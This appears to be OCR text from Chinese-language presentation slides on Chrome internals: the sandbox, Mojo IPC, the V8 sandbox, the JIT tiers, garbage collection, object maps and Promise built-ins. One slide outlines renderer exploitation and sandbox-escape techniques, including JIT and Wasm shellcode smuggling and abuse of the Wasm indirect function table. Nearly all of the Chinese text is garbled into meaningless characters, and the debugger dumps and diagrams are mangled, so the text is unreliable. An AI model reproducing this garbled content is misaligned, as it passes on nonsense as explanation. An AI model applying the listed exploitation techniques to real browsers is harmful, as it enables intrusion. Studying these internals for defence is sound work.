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Chrome 101
Sandbox

e Windows

» Restricted token - {EFHE#EFEAY token » HEFEIAZER

« Job object - [Efl process AE{FFAAITHAEEE R

« Desktop object - {EFHZ ¥ desktop » &% snooping {FAZE I window
context

o Integrity levels - 2241257 renderer Bl “Untrusted” level


https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/design/sandbox.md

Chrome 101
Sandbox

e | Inux

 setuid sandbox - #1TEFTAY network Ed PID namespace

« seccomp-bpf - FRFI system call BIIENL1T A
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https://chromium.googlesource.com/chromium/src/+/main/docs/linux/sandboxing.md
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e Mojo - ZIOVFETIEL C++ B » XEUAREREES HEE API
o IPCZ- FTEHZEER » EHEESNEEHEHBELTEZNEE
« WABRBEGFEMNZ  BEREBREFHENERER (?



https://chromium.googlesource.com/chromium/src/third_party/ipcz/

Chrome 101

IPC
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https://issues.chromium.org/issues/41293884#comment11
https://youtu.be/o-nR7enXzII?t=307
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https://issues.chromium.org/issues/41293884#comment11
https://youtu.be/o-nR7enXzII?t=307
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» ) “Battery Status” 89 Mojo interface A5

Renderer

Battery API s
| Mojo

Remote<BatteryMonitor> /!
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https://issues.chromium.org/issues/41293884#comment11
https://youtu.be/o-nR7enXzII?t=307
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https://issues.chromium.org/issues/41293884#comment11
https://youtu.be/o-nR7enXzII?t=307

Chrome 101

IPC

e Chrome FEzx A=A Mojo » EENN_EEEINSBE “--enable-blink-
features=MojodS”

« WN{a[7EFTZF v8 12 Mojo ?
« 2024/02/02 AR - A EIFEEY “enable_mojo_js_bindings_” B 1

e 2024/02/02 LA1% - unknown > 4HERR] 2 E 40632721

o« FEBIBENEIY “WebV8Features::AllowMojoJSForProcess()” —i& ] LA#%E e

18


https://chromium.googlesource.com/chromium/src/+/70608c6d5cdf14645fb12eae8c4b62bdb7f2623e
https://issues.chromium.org/issues/40632721

Chrome 101

IPC

®
(N 74
J0H

AIIENY “WebV8Features::AllowMojoJSForProcess()” —#x r] LABRFE Mojo

+// static
+void WebV8Features: :AllowMojoJSForProcess() {
+ ContextFeatureSettings::AllowMojoJSForProcess();

+}

+// static

+void ContextFeatureSettings::AllowMojoJSForProcess() {

if (*mojo_js_allowed_) {
// Already allowed. No need to make protected memory writable.
return;

base: :AutoWritableMemory<bool> mojo_js_allowed_writer(mojo_js_allowed_);

mojo_js_allowed_writer.GetProtectedData() = true;
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Renderer

 Blink - Chrome BY rendering engine - Embedded mi{E components :

» JavaScript Engine - FBZ2REZHTIE 11T JavaScript

» Chrome Compositor - BEMEEFTENZIR

renderer process

main thread ( parse }>( DOM }>( style }>(layout }>( paint )

compositor thread (commit}>( tiling }>( raster }>( draw )

GPU process
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Chrome 101

Renderer

 Blink - Chrome BY rendering engine - Embedded mi{E components :

» JavaScript Engine - FBZ2REZHTIE 11T JavaScript

renderer process

main thread ( parse }>( DOM }>( style }>(layout }>( paint )

l

compositor thread (commit)—>( tiling >( raster }—>( draw )

GPU process
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Renderer

* V8 - Chrome FR{£RHY JS Engine
« Sandbox HHlIEFALZEM
o ZEERAY JIT » I FH 7T HITEE

» BRER GC » HRANENECIER(ER
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V8 Sandbox

» EANBFHMANXGE

« Compressed pointer

e Sandboxed Pointer

Code Pointer Table

\ Trusted Pointer Table \
\ \ | @ | Pointer

e Trusted Pointer

i ™ o | Type + Pointer N\ 1 | Pointer
|I 1 | Type + Pointer
» External Pointer Sandboxing T \

* Code Pointer Sandboxing o1 e rorer

\ 1 | Type + Pointer
Dom Node
(External Object)
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https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#heading=h.xzptrog8pyxf

Chrome 101
V8 Sandbox

Wasm Memory Cage (10GB)

(location flexible)

0xa44do00000006

Wasm Memory Cage (10GB)
(location flexible)

4 0xa38d00000000
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Chrome 101
V8 Sandbox

« Compressed pointer

» H%& Heap A& 4GB > ElLLb pointer #i=HEE[ERI 4 bytes

« Object R&7Z pointer fJ1& 4 bytes

+ Hil 4 bytes #FEIE base » FIEE 1725 r14
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Chrome 101
V8 Sandbox

« Compressed pointer

e A7 B Small Integer (SMI) 1 [E 5!l > 1€ Value Tagging BYHH

o = &x12—1@ bit %L > P TRZE R4 compressed pointer value

Compressed pointer:

1nt31_value O

Compressed Smti:
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Chrome 101
V8 Sandbox

*RAX 0Ox0
*RBX 0Ox7fd0e5bb9500 (Vv8::internal: :Runtime_SystemBreak(

DebugPrint: 0x28770024cf9d: [JS_OBJECT_TYPE]
map: Ox2877001448c9 <Map[28 ] (HOLEY_ELEMENTS)> [FastProperties]
prototype: 0x287700144a95 !'!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
elements: Ox287700000219 <FixedArray[@]> [HOLEY_ELEMENTS]
properties: 0x287700000219 <FixedArray[Q]>

*RCX  Ox5
*RDX 0x5633f68e7990 — 0Ox287700000000 «— 0x40000

*RDI Ox7ffc76b20f18 <« 0Ox0 All own properties (excluding elements): {}
*RST Ox563: 0x2877001448c9: [Map] in OldSpace

vambssl [ ZL7E internal function » BIIAEF type: 15_OBJECT_TYPE

instance size: 28
*R9 Ox37 =T
r14 {FZE base
*R1O0 Ox7fde ¥

*R11 Ox7fd@e7cfe7f@ (v8::base::0S::DebugBreak()) «— pus
Ox28770015b865 «— Ox550000003e000009 /* '\t' */
befa®® (Builtins_Adaptor

1nobject properties: 4

unused property fields: 4

elements kind: HOLEY_ELEMENTS

enum length: invalid

back pointer: 0x287700000251 <undefined>

prototype_validity cell: 0x287700000add <Cell value= 1>

instance descriptors (own) #0: 0x287700000285 <DescriptorArray[0]>
prototype: 0x287700144a95 !'!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
constructor: 0x2877001445d9 <JSFunction Object (sfi = 0x2877004518c5)>
dependent code: 0Ox287700000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
construction counter: 0

*R15 Ox7ffc76b21048 —» 0Ox287700000251 «— 0Ox1

*RBP Ox7ffc76b20f30 — Ox7ffc/76b20fc@ — Ox7ffc76b20feld
*RSP Ox7ffc76b20eed «— Oxe7b59el0

*RIP Ox7fd@e5bb9912 (v8::internal::__RT_impl_Runtime_Sy

pwndbg> x/10wx 0x28770024cf9d - 1
Ox28770024cf9c: 0x001448c9 0x00000219 0x00000219 0x00000251

» Ox7fd0e5bb9912 <v8::internal::__RT_impl_Runtime_Syste
Ox71fd@e5bb9916 <v8::internal::__RT_impl_Runtime_Syste
Ox7tfd@e5bb991a <v8::1internal::__RT_impl_Runtime_Syste

. :Isolate const*)@plt <v8::1nternal: :Read

Ox28770024cfac: Ox00000251 Ox00000251 Ox00000251 Oxbeadbeef
Ox28770024cfbc: @Oxbeadbeef Oxbeadbeef

27



Chrome 101
V8 Sandbox

*RAX 0x0 DebugPrint: 0x28770024cf9d: [JS_OBJECT_TYPE]

*RBX Ox7fd0e5bb9500 (v8::internal::Runtime_SystemBreak( map: @x2877/001448c9 Map[28](HOLEY_ELEMENTS)> [FastProperties]
*RCX  0Ox5 prototype: 0x287700144a95 !'!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>

elements: Ox287700000219 <FixedArray[@]> [HOLEY_ELEMENTS]
*RDX @x5633f68e7990 Ox287700000000 «— 0x40000 properties: 0x287700000219

*RDI Ox7ffc76b20f18 0x0 A1l own properties (exclud WJFF%BT:E heap %?I:I:l > ,u:l:,

*RSI  0x5633f68¢7990 —» 0x287700000000 <« 0x40000 0x2877001448c3: [Map] in Old> (4t 4 bytes EE4EE]
“R8  Ox7FFC76b21078 —» OX7FfC76b210a8 —» OX7fFc76b21110 e LAY 4 Dytes 5

*R9  0Ox37 inobject properties: 4

*R10 Ox7fd0e7c7b790 «— 0xc001200013197 e e e e

*R11 Ox7fd@e7cfe7f@ (v8::base::0S::DebugBreak()) «— pus enwnlamﬁh:{nwﬂid_

*R12 0Ox28770015b865 «— 0Ox550000003e000009 /* '\t' */ back pointer: 0x287700000251 <undefined>

*R13 Ox5633f68e7al0d Ox7fd@e3befadd (Builtins_Adaptor prototype_validity cell: 0x287700000add <Cell value= 1>
"R140x287700000000 < 0x40000 e e s o coon 58 e
*R15 Ox7ffcr6b21048 0x287700000251 «- Ox1 constructor: 0x2877001445d9 <JSFunction Object (sfi = 0x2877004518c5)>
*RBP Ox7ffc76b20f30 Ox7ffc76b20fc® — Ox7ffc76b20fel dependent code: 0x287700000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
*RSP  Ox7ffc76b20eed «— Oxe7b59e10 SR a I el 2

*RIP Ox7fd@e5bb9912 (v8::internal::__RT_impl_Runtime_Sy

~ Ox7fd@e5bb9912 <v8::internal::__RT_impl_Runtime_Syste Sl > SYLLLE DRI GE] =

Ox28770024cf9c: Ox001448c9 Ox00000219 Ox00000219 Ox00000251
Ox28770024cfac: Ox00000251 Ox00000251 Ox00000251 Oxbeadbeef
Ox28770024cfbc: @Oxbeadbeef Oxbeadbeef

Ox71fd@e5bb9916 <v8::internal::__RT_impl_Runtime_Syste
Ox7tfd@e5bb991a <v8::1internal::__RT_impl_Runtime_Syste
. :Isolate const*)@plt <v8::1nternal: :Read

28



Chrome 101
V8 Sandbox

*RAX
*RBX
*RCX
*RDX
*RDI
*RSI
*R8

*R9

*R10
*R11
*R12
*R13
*R14
*R15
*RBP
*RSP
*RIP

0x0
Ox7fddeS5bb9500
Ox5
0x56331f68e7990
Ox7ffc76b20118
Ox56331f68e7990
Ox7ffc76b21078
Ox37
Ox7fd@e7c7b790
Ox7fd@e7cfe/f0
Ox28770015b865
Ox5633f68e7al0
Ox287700000000
Ox7ffc76b21048
Ox7ffc76b20130
Ox7ffc76b20eed
Ox7fd0eS5bb9912

(v8::1nternal: :Runtime_SystemBreak(

Ox287700000000 «— Ox40000

0x0

Ox287700000000 «— Ox40000
Ox7ffc76b210a8 — Ox7ffc76b21110

Oxc001200013197
(v8::base: :0S: :DebugBreak()) «— pus
<« Ox550000003e000009 /* '\t' */

Ox7fd@e3befad® (Builtins_Adaptor

0x40000

Ox287700000251 «— Ox1

Ox7ffc/76b20fc@ —» Ox7ffc/76b20fe8

Oxe7b59e10
(v8::1internal::__RT_impl_Runtime_Sy

» Ox7fd0e5bb9912 <v8::internal::__RT_impl_Runtime_Syste
Ox71fd@e5bb9916 <v8::internal::__RT_impl_Runtime_Syste
Ox7tfd@e5bb991a <v8::1internal::__RT_impl_Runtime_Syste

. :Isolate const*)@plt

<v8::1nternal: :Read

DebugPrint: 0x28770024cf9d: [JS_OBJECT_TYPE]

map: Ox2877001448c9 <Map[28 ] (HOLEY_ELEMENTS)> [FastProperties]
prototype: 0Ox287700144a95 !'!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
element$: Ox287700000219 <FixedArray[@]> [HOLEY_ELEMENTS]

properties: 0x287700000219 <FixedArray[Q]>

ALl own|properties (excluding elements): {}

0x2877001448c9: [Map] in OldSpace

type: J$_OBIJECT_TYPE
instanc¢ size: 28

1nobject properties: 4
unused property fields: 4

B £ 1Z1E object AAY
element$ kind: HOLEY._ELEMENTS pointer %BR%@;E 4 bytes
enum lempgth: invalid

back pointer: 0x287700000251 <undefined>

prototype_validity cell: 0x287700000add <Cell value= 1>

instanc¢ descriptors (own) #0: 0x287700000285 <DescriptorArray[0]>
prototype: 0x2877001:14a95 !'!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
construgtor: 0x287701)1445d9 <JSFunction Object (sfi = 0x2877004518c5)>
dependemt code: 0x287700000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
construg¢tion counter: 0

pwndbg> x/1Qwx Ox28770024cf9d - 1

Ox28770024cfOc:
Ox28770024cfac:
Ox28770024cfbc:
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Ox001448c9
Ox00000251
Oxbeadbeef

Ox00000219
Ox00000251
Oxbeadbeef

0x00000219
0x00000251

Ox00000251
Oxbeadbeef



Chrome 101
V8 Sandbox

e Sandboxed Pointer

« MEZE1 Compressed pointer $8{ » {B1t 4GB (Heap, 32 bits) &2 1TB
(Sandbox, 40 bits)

» Object 77 encode 1283 8 bytes pointer
» ZHXBIE St decode HYIFIRZSHY pointer » 21 &

movqg(destination, field_operand); ; target
shrq(destination, Immediate(kSandboxedPointerShift)); ; 24
addq(destination, kPtrComprCageBaseRegister); ; rl4

30



Chrome 101
V8 Sandbox

» External / Code / Trusted Pointer Sandboxing
o {# Table 4C%% Sandbox 7} Object BRI 11E DA 5z B R

)
am

« Object HFEE(FH Sandbox §MY Object » 77 Object 7£ Table FHY index

« 7ZENAEZ index £ Table » ifi B &l Table Entry 42820V AE B RS

Code Pointer Table

V8 Sandbox Entry o Native Code




Chrome 101
V8 Sandbox

e V8 Sandbox - Hardware Support

o ZIOVERI{HEIE address space 73X trusted IR untrusted
« EFWERRAMERRE :
e Y{@&E% privileged B unprivileged 4 data
 WN{a][&%> privileged Ed unprivileged BY code

e Y B[9 R hardware-assisted DAK hardware-based
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https://docs.google.com/document/d/12MsaG6BYRB-jQWNkZiuM3bY8X2B2cAsCMLLdgErvK4c/edit#heading=h.xzptrog8pyxf

Chrome 101

V8 JIT

How

turn that into an

We take your JS Parseit  Abstract Syntax
Tree

L

TURBOFAN

Works |
Get feedback fe ba
Optimize & Compile it cptimsations Generate
bytecode

17
@ ARM M|P5

then run your optimized codel!
By @addyosmani

33



Chrome 101

V8 JIT

* |nterpreter

« Ignition - B8 & 1§ JS code compile ¥ bytecode 1T

34



Chrome 101

V8 JIT

o JIT Compiler - SparkPlug = Maglev — TurboFan

e SparkPlug - non-optimizing JS compiler : compile BEfS1E » HIITIRE(S

35



Chrome 101

V8 JIT

o JIT Compiler - SparkPlug = Maglev — TurboFan
« Maglev - SSA-Based JIT compiler » compile B5fElHZE > MITERERFHF
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Chrome 101

V8 JIT

o JIT Compiler - SparkPlug —» Maglev — TurboFan

 TurboFan - optimizing JIT compiler > compile BFfEIE » HITIRE R
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Chrome 101

V8 JIT

. B 1EiEH SparkPlug FiZH TurboProp % non-optimizing JS compiler
o & TurboFan {B{EEVEE D E18 > 1510 compile BIZRE

« BEABHEBEXXHENEE TurboProp » ZAAREEA “Draft”

« {BEEREZRETE 2022 FL#FEER T (Issue 12552)

38


https://docs.google.com/document/d/1NeOsqjPPAcDWbuHxW5MobzVQgj9qZd6NqKUnz0h-fOw/edit
https://docs.google.com/document/d/1NeOsqjPPAcDWbuHxW5MobzVQgj9qZd6NqKUnz0h-fOw/edit
https://bugs.chromium.org/p/v8/issues/detail?id=12552&q=TurboProp&can=1

Chrome 101
V8 GC

» }R1E Object Z/ERVSFE » FFECIEEE D XM {EEIR -
EEA%S Object » GC LLER SRS B 38

 Old generation (OldSpace) - 174 ariEHA £ /Y Object

» Young generation (NewSpace) - 17

 TH5% Object # = ScE NewSpace > MifE4E7E

39

[ K

MK GC B HEFEE

511 %l OldSpace



Chrome 101
V8 GC

Resident set

Semi space Semi space Old pointer space Old data space

New space(Young generation) Old space(Old generation)
Cell space
Large object space Code space

Property cell space

Map space

Heap memory

40



Chrome 101

V8 GC

Young Generation
managed with Scavange GC

New Space

f% 1 1

=4 dnZ8HARY object » EtZFREIGN map or
large array E&E _L#E7E OldSpace

Old Generation

managed with Mark/Sweep/Compact GC

Old space

Large object space

41

Map space

Code space




Chrome 101
V8 GC

 Scavenger - NewSpace {FRRJ GC #Hl » FisCEi=FB 42 R From Space
Bd To Space

1. {£H From Space Ko BicscEfa%a New Object

2. GC BF3EREFA From Space Y Object » Wi A4{EFH AT Object 14 Z! To
Space

3. [O]U From Space WHJFRFA Obiject
4. To Space B From Space HIA & HifA

42



Chrome 101

Young Generation Old Generation

H{E A EY Object #Z&)Zl To Space
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Chrome 101
V8 GC

Young Generation Old Generation

[o

To-Space

2T GC 12IB2TZ1EH Object #:#2E)Z! Old Generation
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Chrome 101
V8 GC

e Mark-Sweep-Compact - OldSpace {FHAY GC ##
e Mark - ¥ migE{FRHY Object
« Sweep - BRI A # Mark AY Object

« Compact - 1527 {F AR Object EFHFS » BERECIBRERE A 1L




Chrome 101
V8 GC

Mark and sweep (MARK)

MARK

N
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V8 GC

Mark and sweep (MARK)

MARK

NE L



Chrome 101
V8 GC

Mark and sweep (SWEEP)

SWEEP

N



Chrome 101

Object

V8 Object B1& FEIF1E member :

e Map
Map =
* Properties Properties
Element
e Elements e

In-Object Property #1

* |In-Object Property #1, #2, ... In-Object Property £2

49



Chrome 101

Object

V8 Object B1& FEIFE member
« Map (Shape) - Object K
 Properties

e Elements

* |n-Object Property :

a

5

T, ;

j

U HE
:I:IQI::(

Properties

Elements

In-Object Property #1

MetaMap Root Pointer

Int Field 1

Int Field 2

Int Field 3

In-Object Property #2

Int Field 3

Unused

Prototype Pointer

Enum Length

Number of Own
Descriptors

* Only Bits of Interest Displayed

50

Constructor Pointer / Back
Pointer / Native Context

Descriptor Array Pointer

Dependent Code Pointer

Prototype Validity Cell

Prototype Info Pointer /
Raw Transition Pointer

Int Field 1 > Int Field 2
Instance Size
Primitive Context / instance ype
Object Offset
Instance Slack Bit Field 1
Visitor Id Bit Field 2
> FixedArray

Descriptor Counts

Enum Cache

Descriptor 1 Key

Descriptor 1 Detail

Descriptor 1 Value

... Descriptors ...

... Start of Slack ...




Chrome 101

Object

V8 Object &1 FMHEIZE{E member :
 Map (Shape)

_ . _ Tt — Indexed Properties : [1,2,3] or {1: "A", 2: "B")
* Properties - ¥4 index J—
Length xeMap !
= " Property #1 . Length
° Elements - EQ%% Index Property #2 \‘\ In-Object Property #1 Elemeit 41 <
In-Object Property #2 |
Named Properties - { 1, "two™: 2 Stoment =2

* |In-Object Property #1, #2, ...

51



Chrome 101

Object

» V8 Object 815 FEIZ1E member :
 Map (Shape)

rO er ieS FixedArray D S— Indexed Properties : [1,2,3] or {1: "A", 2: "B"}
— _’l FixedArray
Length -
@ Elements Property #1 < - g

® In—ObJeCt PrOperty #1 : #2, o Named Properties:{"one”:1."two"::2} Element #2
» #)%51E Object BFTL#RFZILRY property » 1B
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Chrome 101

Object

DebugPrint: 0x13900024cfd5: [JS_OBJECT_TYPE]
map: 0x13900015b995 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
prototype: 0x139000144a95 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
elements: 0x13900024cfe9 <FixedArray[19]> [HOLEY_ELEMENTS]
properties: 0x139000000219 |<FixedArray[0]>

ALl own properties|(excluding elements): {
0x13900015b7cl: [Jtring] i1n OldSpace: #AAA: 0x13900015b7cl <String[3]:
0x13900015b7d1: [Ytring] 1n OldSpace: #BBB: 0x13900015b7dl1 <String[3]:

elements: 0x13900024cfe9 kFixedArray[19]> {

0: Ox139000000206d <the_hole_value>
1-2: 123
3-18: 0x139000000206d <the_hole_value>

738 builtin debug function BIIAEIH object BYE T

pwndbg> x/20wx 0x13900024cfd5-1
0x13900024cfd4: Ox0015b995 0x00000219 0x0024cfe9 Ox0015b7cl
0x13900024cfed:| 0x0015b7dl UX0V00008Y Ox000000 206 0x0000026d

0x13900024cff4: Ox000000f6 0x000000f6 0x0000026d 0x0000026d
0x13900024d004: 0x00000260d 0x0000026d 0x0000026d 0x00000260d
0x13900024d014: 0x0000026d 0x0000026d 0x0000026d 0x0000026d

P& object £ memory HIIEF
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Chrome 101

Object

« Map At Bl = Object property BVl » ElIE#)181EH TVTEEIHY Object A 1H
@AY Map

a=1{Xx:5, y:6 };

b = {x: 7, y: 8 }; )
e




Chrome 101

Object

» Transition Chains - RIE runtime ¥7IZ property A1 Hl

o FIHTIE property BF » FLEI—{E¥E#E% property BY Map

0 I.X.

0.X o
»oy 6 { }
'x' &7
s |

6 |y| r
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Chrome 101

Object
» Transition Chains - RIE runtime ¥7IZ property A1 Hl

 #% Object B Map pointer $15[@EHI Map » i EETEY Map F4CEEE Map B

(R
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Chrome 101

Object

» I@AZ Transition Chains B o] fZHX ¥ ERY property » 1BUIR property K ZmE1
1BA

X point.X

O(n)




Chrome 101

Object

o EERFTAY Map Object HZESMEIT ShapeTable (a dictionary) 2K hNiR{ZEX

X = poilnt.x;
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Chrome 101

Object

e Case 1: 521 Empty Object FIG#T1E property AYRI{E Object

o thiEFBIE transition tree

JSObject a JSObject b
3) 6
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Chrome 101

Object

» Case 2: 18[a] property B 1E Object » {E—1E &1 Empty Object FHE FTIZ
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Chrome 101

Exploit

e Code Execution

» ¥ JITed Function Object » 73Ei#® Immediate $&iZ shellcode

» Wasm Shellcode Smuggling » €% shellcode £l wasm BJ RWX region

e Sandbox Escape

e X Wasm B9 WasmindirectFunctionTable (~2023/4)

* Abusing Liftoff (wasm compiler) assembly
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https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html
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Promise

Overview

o A 1 B#&IR Callback Hell Ti5%ETHY asynchronous #{FEIEHEH
» —{[& Promise B =f&ik5&
» Pending : #J157RAR
+ Fulfilled : #2{ERIN

 Rejected : #E{ELEN
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Promise

Overview

const myPromise new Promise((resolve, reject) => {
const operationWasSuccessful = true;
1f (operationWasSuccessful
resolve('Operation was successful.');
else
reject('Operation failed.');

Rk

myPromise.then((result) => {
console. log(result);

}).catch((error) => {
console.error(error);

Rk
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Promise

Overview

const myPromise = new Promise((resolve, reject) => {

const operationWasSuccessful = true;
1f (operationWasSuccessful
resolve('Operation was successful.'); REVEICNOK ST EEED::

else EEEEES async ZF

reject('Operation failed.');

}) Syntax

JS

{ new Promise(executor)

myPromise.then((result) =>
console. log(result);
t).catch((error) => { .

console.error(error A function to be executed by the constructor. It receives two functions as parameters:

} ) : resolveFunc and rejectFunc. Any errors thrown in the executor will cause the promise to be
¥

rejected, and the return value will be neglected. The semantics of executor are detailed below.
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Promise

Overview

const myPromise = new Promise((resolve, 1745 R 1&1F0Y built-in function
const operationWasSuccessful = true; resolve() K ZE5E T Promise

1T (operationWasSuccessful
resolve('Operation was successful.');
else
reject('Operation failed.');

Rk

myPromise.then((result) => {
console. log(result);

}).catch((error) => {
console.error(error);

ph:
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Promise

Overview

const myPromise = new Promise((resolve, reject) => {
const operationWasSuccessful = true;
1T (operationWasSuccessful
resolve( 'Operation was successful.');

else
reject('Operation failed.');

Rk

myPromise.then((result) => {| Wid:SRUEIR=E=1E NN 03 @
console. log(result); S E FERNEIE

}).catch((error) => {
console.error(error):

Rk
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Promise

Overview

const myPromise = new Promise((resolve, reject) => {
const operationWasSuccessful = true;
1f (operationWasSuccessful
resolve( 'Operation was successful.');

else
reject('Operation failed.');

Rk

2 » Y reject() f£Z& Promise BY5%
myPromise.then((result) => { B » ®H catch E{E R

console. log(result);
}).catch((error) => {
console.error(error):

P
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Promise

Overview

o IRAFZAEEEEIA] Promise
« Promise.all : ZFE15F1A promise 5thX > (BUIRE —E#IE4ERM S catch
» Promise.allSettled : 13 A promise Tk » EiRTHIESIESRE

e Promise.any : H{FHH—1E promise 52X ° TEREPILIEB A @ catch

» catch 1Y Zl AggregateError
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Promise

Overview

» V8 E 3@ Torque B KR EEZR D built-in operation 2§ function

o J&HZ assert / check 7£ compile time i &

« BIS{BAPRIL Array ~ Map * Promise

uuuuuuuuuuuuuuuuuuuu

cx],
REX. W ddq rcx, 0x8
REX.W movqg [rdx], rcx
testw rcx, Ox3fff
jnz @x1fafde@9c152 <+0x5d2>

A

snapshot file




Promise

Promise All

Promise.{all,allSettled} & IEIUZIEERY builtin function

// ES#sec-promise.all
transitioning javascript builtin PromiseAllt

const promisel Promise. FESOIV6(3); reilsj;;mgl;:i:tzg:;;:;;i?text, receiver: JSAny)(iterable: JSAny): JSAny {

const promise2 Promise. FESOI.VG(42) ’ receiver, iterable, PromiseAllResolveElementFunctor{},
const promise3 Promise FESO.LVG( 'hello"® ) : PromiseAllRejectElementFunctor{}, 'Promise.all');
-

Promise.allSettled([promisel, promise2, promise3])

.then((values) => { // ES#sec-promise.allsettled

// Promise.allSettled ( iterable )
console. 109 values ’ transitioning javascript builtin PromiseAllSettled!
}): js—implicit context: Context, receiver: JSAny) (iterable: JSAny): JSAny {
return GeneratePromiseAl1l(
receiver, iterable, PromiseAllSettledResolveElementFunctor{},
PromiseAllSettledRejectElementFunctor{}, 'Promise.allSettled');

/1



Promise

Promise All

M{E#E GeneratePromiseAll B wrapper function

// ES#sec-promise.all
transitioning javascript builtin PromiseAl1(

transitioning macro GeneratePromiseAll<Fl: type, F2: type>(
implicit context: contexu)ireceiver: JSAny, iterable: JSAny,
createResolveElementFunctor: Fl, createRejectElementFunctor: F2,
message: constexpr string): JSAny {

[...]

js—implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {

return GeneratePromiseAl1l(

receiver, iterable, PromiseAllResolveElementFunctor{},

const receiver = Cast<JSReceiver>(receiver)
otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, message);

PromiseAllRejectElementFunctor{}, 'Promise.all');

// ES#sec—-promise.allsettled
// Promise.allSettled ( iterable )

const constructor = UnsafeCast<Constructor>(receiver);

try {
const promiseResolveFunction =
GetPromiseResolve(nativeContext, constructor);

transitioning javascript builtin PromiseAllSettled( let 1 = iterator::GetIterator(iterable);
js—implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {

return GeneratePromiseAl1l(

receiver, iterable, PromiseAllSettledResolveElementFunctor{},

PromiseAllSettledRejectElementFunctor{},

return PerformPromiseAll(
nativeContext, i, constructor, capability, promiseResolveFunction,
createResolveElementFunctor, createRejectElementFunctor)
otherwise Reject;

.l

'Promise.allSettled');
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Promise

Promise All

AEE AR Resolve IR Reject Functor f—#k

transitioning macro GeneratePromiseAll<F1l: type, F2: type>(
implicit context: Context)(receiver: JSAny, iterable: JSAny,
createResolveElementFunctor: Fl, createRejectElementFunctor: F2,

// ES#sec-promise.all message: constexpr string): JSAny {
transitioning javascript builtin PromiseAl1( [...]

js—implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
return GeneratePromiseAll(
receiver, iterable, PromiseAllResolveElementFunctor{},
PromiseAllRejectElementFunctor{}, 'Promise.all');

const receiver = Cast<JSReceiver>(receiver)
otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, message);

const constructor = UnsafeCast<Constructor>(receiver);

try {
const promiseResolveFunction =
GetPromiseResolve(nativeContext, constructor);

// ES#sec—-promise.allsettled
// Promise.allSettled ( iterable )
transitioning javascript builtin PromiseAllSettled( let 1 = iterator::GetIterator(iterable);
js—implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
return GeneratePromiseAll( return PerformPromiseAl1(
MG el (AR oAU L D S HEA Ve o nativeContext, i, constructor, capabilit romiseResolveFunction
PromiseAllSettledRejectElementFunctor{}, 'Promise.allSettled'); ot ! P , yr P !
createResolveElementFunctor, createRejectElementFunctor)

otherwise Reject;

.l
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Promise

Promise All

transitioning macro GeneratePromiseAll<F1l: type, F2: type>(
implicit context: Context)(receiver: JSAny, iterable: JSAny,

createResolveElementFunctor: Fl, createRejectElementFunctor: F2,

message: constexpr string): JSAny { : :
[on] 1% receiver casting % constructor

const receiver = Cast<JSReceiver>(receiver)
otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, message);

const constructor = UnsafeCast<Constructor>(receiver);:;

try {
const promiseResolveFunction =
GetPromiseResolve(nativeContext, constructor);

let i = iterator::GetIterator(iterable):

return PerformPromiseAll(

nativeContext, i, constructor, capability, promiseResolveFunction,
createResolveElementFunctor, createRejectElementFunctor)
otherwise Reject;

. ]
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Promise All

transitioning macro GeneratePromiseAll<Fl: type, F2: type>(
implicit context: Context)(receiver: JSAny, iterable: JSAny,
createResolveElementFunctor: Fl, createRejectElementFunctor: F2,
message: constexpr string): JSAny {

[...]

const receiver = Cast<JSReceiver>(receiver)
otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, message);

const constructor = UnsafeCast<Constructor>(receiver);:;

try { HX18 constructor.resolve » 215l 30

const promiseResolveFunction = Promise.resolve
GetPromiseResolve(nativeContext, constructor);

let i = iterator::GetIterator(iterable):

return PerformPromiseAll(

nativeContext, i, constructor, capability, promiseResolveFunction,
createResolveElementFunctor, createRejectElementFunctor)
otherwise Reject;

. ]
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Promise

Promise All

transitioning macro GeneratePromiseAll<Fl: type, F2: type>(
implicit context: Context)(receiver: JSAny, iterable: JSAny,
createResolveElementFunctor: Fl, createRejectElementFunctor: F2,
message: constexpr string): JSAny {

[...]

const receiver = Cast<JSReceiver>(receiver)

otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, message);
const constructor = UnsafeCast<Constructor>(receiver);:;

try {
const promiseResolveFunction =
GetPromiseResolve(nativeContext, constructor):

= . .
let i = iterator::GetIterator(iterable); EDE1§]\E"] Promise array EI"] Iterator

return PerformPromiseAll(

nativeContext, i, constructor, capability, promiseResolveFunction,
createResolveElementFunctor, createRejectElementFunctor)

otherwise Reject;

. ]
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Promise

Promise All

Pseudo Code
(For Promise.allSettled)

def PerformPromiseAll(
nativeContext,
iter,
promiseResolveFunction
createResolveElementFunctor,
createRejectElementFunctor) {

resolveElementContext = {
"ElementRemaining”: 1,
"Values™:

for promise in iter:
resolveElementContext['ElementRemaining'] += 1

resolve = createResolveElementFunctor.closure
reject = createRejectElementFunctor.closure

nextPromise = Reflect.apply(Promise.resolve, promise,
nextPromise.then(resolve, reject)




» :
P = II transitioning macro PerformPromiseAll<F1l: type, F2: type>([...]):
romise A {

const resolveElementContext =
CreatePromiseAllResolveElementContext(capability, nativeContext);

static resolve(value) { [...]
def PerformPromiseAll( try {

nativeContext, rEtUEE . (fulfill act) = { while (true) {
iter [ en: oty Allas e let nextValue: JSAny;
’. ) | try { try {
promiseResolveFunction # Promi fulfill(value); const next: JSReceiver = iterator::IteratorStep(
AL EIR TSGR o } catch (error) { iter, fastIteratorResultMap) otherwise goto Done;
createRejectElementFunctor) { reject(error); nextValue = iterator::IteratorValue(next, fastIteratorResultMap);

Tl

resolveElementContext =
